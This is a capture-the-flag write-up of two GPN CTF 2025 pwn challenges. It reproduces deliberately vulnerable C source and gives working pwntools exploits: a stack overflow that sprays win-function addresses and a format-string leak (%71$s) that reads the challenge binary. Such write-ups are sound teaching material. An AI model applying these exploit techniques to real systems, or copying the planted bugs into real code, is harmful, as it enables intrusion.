team-logo
Published on

GPN CTF 2025 - PWN challenges

Authors

Introduction

The German CTF GPN took place from June 20th to 22nd. We solved all 2 of 6 tasks. More info about this CTF is here alt text

Table of contents

Note editor

note-editor

In this challenge, we received both the source code and the binary, which made things a bit easier. At first, I thought about exploiting the heap, but it turned out that we needed to overflow the stack instead. However, the approach was a bit unusual—we had to inject many addresses pointing to the win function. I have to admit, I spent some time on this, but the task was really enjoyable.

Source code

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>


#define NOTE_SIZE 1024
struct Note {
    char* buffer;
    size_t size;
    uint32_t budget; 
    uint32_t pos; 
};
typedef struct Note Note;

#define SCANLINE(format, args) \
    ({ \
    char* __scanline_line = NULL; \
    size_t __scanline_length = 0; \
    getline(&__scanline_line, &__scanline_length, stdin); \
    sscanf(__scanline_line, format, args); \
    })

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void reset(Note* note) {
    memset(note->buffer, 0, note->size);
    note->budget = note->size;
    note->pos = 0;
}

void append(Note* note) {
    printf("Append something to your note (%u bytes left):\n", note->budget);
    fgets(note->buffer + note->pos, note->budget, stdin);
    uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1;
    note->budget -= written;
    note->pos += written;
}

void edit(Note* note) {
    printf("Give me an offset where you want to start editing: ");
    uint32_t offset;
    SCANLINE("%u", &offset);
    printf("How many bytes do you want to overwrite: ");
    int64_t length;
    SCANLINE("%ld", &length);
    if (offset <= note->pos) {
        uint32_t lookback = (note->pos - offset);
        if (length <= note->budget + lookback) {
            fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte
            uint32_t written = strcspn(note->buffer + offset, "\n") + 1;
            if (written > lookback) {
                note->budget -= written - lookback;
                note->pos += written - lookback;
            }
        }
    } else {
        printf("Maybe write something there first.\n");
    }
}

void truncate(Note* note) {
    printf("By how many bytes do you want to truncate?\n");
    uint32_t length;
    SCANLINE("%u", &length);
    if (length > note->pos) {
        printf("You did not write that much, yet.\n");
    } else {
        note->pos -= length;
        memset(note->buffer + note->pos, 0, length);
        note->budget += length;
    }
}

uint32_t menu() {
    uint32_t choice;
    printf(
        "Choose your action:\n"
        "1. Reset note\n"
        "2. View current note\n"
        "3. Append line to note\n"
        "4. Edit line at offset\n"
        "5. Truncate note\n"
        "6. Quit\n"
    );
    SCANLINE("%u", &choice);
    return choice;
}

int main() {
    Note note;
    char buffer[NOTE_SIZE];
    
    note = (Note) {
        .buffer = buffer,
        .size = sizeof(buffer),
        .pos = 0,
        .budget = sizeof(buffer)
    };

    setup();
    reset(&note);
    printf("Welcome to the terminal note editor as a service.\n");
    
    while (1)
    {
        uint32_t choice = menu();
        switch (choice)
        {
        case 1:
            reset(&note);
            break;
        case 2:
            printf("Current note content:\n\"\"\"\n");
            puts(note.buffer);
            printf("\"\"\"\n");
            break;
        case 3:
            append(&note);
            break;
        case 4:
            edit(&note);
            break;
        case 5:
            truncate(&note);
            break;
        case 6: // fall trough to exit
            printf("Bye\n");
            return 0;
        default:
            printf("Exiting due to error or invalid action.\n");
            exit(1);
        }
    }
}

Solution

from pwn import *             


context.log_level = 'warning' 



context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="mountcity-of-constant-markets.gpn23.ctf.kitctf.de:443"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT,ssl=True)
else:
    p = process(binary.path)    


win=binary.sym.win

p.sendline(b'3')
p.sendlineafter(b'left):',b'A'*1020)
p.sendlineafter(b'6. Quit',b'4')

p.sendlineafter(b'editing:', b'1020')
p.sendlineafter(b'How many bytes do you want to overwrite:', b'4')
p.sendline(b'Z'*4)
p.sendlineafter(b'6. Quit',b'4')
p.sendlineafter(b'editing:', b'1038')
p.sendlineafter(b'How many bytes do you want to overwrite:', b'300')
p.sendline(35*p64(win)) #to fill stack, sometimed 5,10,20 enought
p.sendlineafter(b'6. Quit',b'6')
p.sendline(b'cat /flag')
p.interactive()

GPNCTF{NOw_YoU_sURE1Y_aR3_r3AdY_TO_PwN_L4dyb1Rd!}

no-nc

no-nc

I really enjoyed this challenge, perhaps because I spent quite a bit of time on it. The result could be achieved in several ways. Here, we were only given the source code, which both simplified and complicated things. It looked like a typical printf buffer task. After analyzing the code, it turned out that we needed to read the flag, which wasn't in a file but in the environment variables. So, we had to try reading the file nc or nc.c (if it existed). Unfortunately, the characters n, c, ., and / were blocked. So how do you solve it? Analyze the code and you'll find out... :)

Source code:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

#define RAW_FLAG "GPNCTF{fake_flag}"

char *FLAG = RAW_FLAG;

int no(char c)
{
    if (c == '.')
        return 1;
    if (c == '/')
        return 1;
    if (c == 'n')
        return 1;
    if (c == 'c')
        return 1;
    return 0;
}

char filebuf[4096] = {};
int main(int argc, char **argv)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    char buf[200] = {};
    puts("Give me a file to read");
    read(STDIN_FILENO, buf, (sizeof buf) - 1);
    buf[sizeof buf - 1] = '\0';
    size_t str_len = strlen(buf);
    for (size_t i = 0; i < str_len; i++)
    {
        if (no(buf[i]))
        {
            puts("I don't like your character!");
            exit(1);
        }
    }
    char *filename = calloc(200, 1);
    snprintf(filename, (sizeof filename) - 1, buf);
    puts("Will open:");
    puts(filename);
    int fd = open(filename, 0);
    if (fd < 0)
    {
        perror("open");
        exit(1);
    }
    while (1)
    {
        int count = read(fd, filebuf, (sizeof filebuf) - 1);
        if (count > 0)
        {
            write(STDOUT_FILENO, filebuf, count);
        }
        else
        {
            break;
        }
    }
}

Solution

1 stage

from ast import main
from pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="springcreek-of-cosmically-laundering.gpn23.ctf.kitctf.de:443"
HOST="grandside-of-explosive-opportunity.gpn23.ctf.kitctf.de:443"
HOST="silverdale-of-painfully-excessive-unity.gpn23.ctf.kitctf.de:443"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./nc"
#find return of ./nc
for i in range(1, 200):
    try:
        #p = remote(ADDRESS, PORT, ssl=True)
        p=process(BINARY_NAME)
        payload = f"%{i}$s".encode()
        #payload = f"%71$s%{i}$s".encode()
        p.sendlineafter(b"Give me a file to read", payload)
        p.recvuntil(b"Will open:")
        p.recvline()
        recv = p.recvline().strip()
        try:
            # Try to decode as hex, fallback to ascii if not hex
            ascii_str = bytes.fromhex(recv.decode()).decode('ascii', errors='replace')
        except Exception:
            ascii_str = recv.decode('ascii', errors='replace')
        warn(f"{i}: {recv} -> {ascii_str}")
    except Exception as e:
        warn(f"{i}: Exception occurred: {e}")
    finally:
        try:
            p.close()
        except Exception:
            pass

p.interactive()
Result
[!] 58: b'UH\x89\xe5H\x81' -> UH��H[!] 59: b'\x80\xc1d<_U' -> ��d<_U
[!] 60: b'(null)' -> (null)
[!] 61: b'(null)' -> (null)
[!] 62: b'(null)' -> (null)
[!] 63: b'1\xedI\x89\xd1^' -> 1I��^
[!] 64: b'\x01' -> \x01
[!] 65: b'(null)' -> (null)
[!] 66: b'(null)' -> (null)
[!] 67: b'\xf4f.\x0f\x1f\x84' -> �f.\x0f\x1f�
[!] 68: b'8' -> 8
[!] 69: Exception occurred: 
[!] 70: Exception occurred: 
[!] 71: b'./nc' -> ./nc
[!] 72: b'(null)' -> (null)
[!] 73: Exception occurred: 

So, we found ./nc at position 71 (%71$s). This allowed us to read the binary file.

Second stage

from ast import main
from pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 


HOST="springcreek-of-cosmically-laundering.gpn23.ctf.kitctf.de:443"
HOST="grandside-of-explosive-opportunity.gpn23.ctf.kitctf.de:443"
HOST="silverdale-of-painfully-excessive-unity.gpn23.ctf.kitctf.de:443"
HOST="stormdale-of-intense-trade.gpn23.ctf.kitctf.de:443"

ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./nc"

p=remote(ADDRESS,PORT,ssl=True)

p.sendlineafter(b'Give me a file to read',b'%71$s\x00')
RESP=p.recvall()

flag = re.search(br'GPNCTF{.*?}', RESP)
if flag:
    print(flag.group().decode())
else:
    print("Flag not found.")

p.interactive()
nc-2

GPNCTF{uP_AND_DOWn_alL_aR0Und_6oES_7He_n_Dimen5iONA1_C1rClE_w7F_1S_7HiS_FLaG}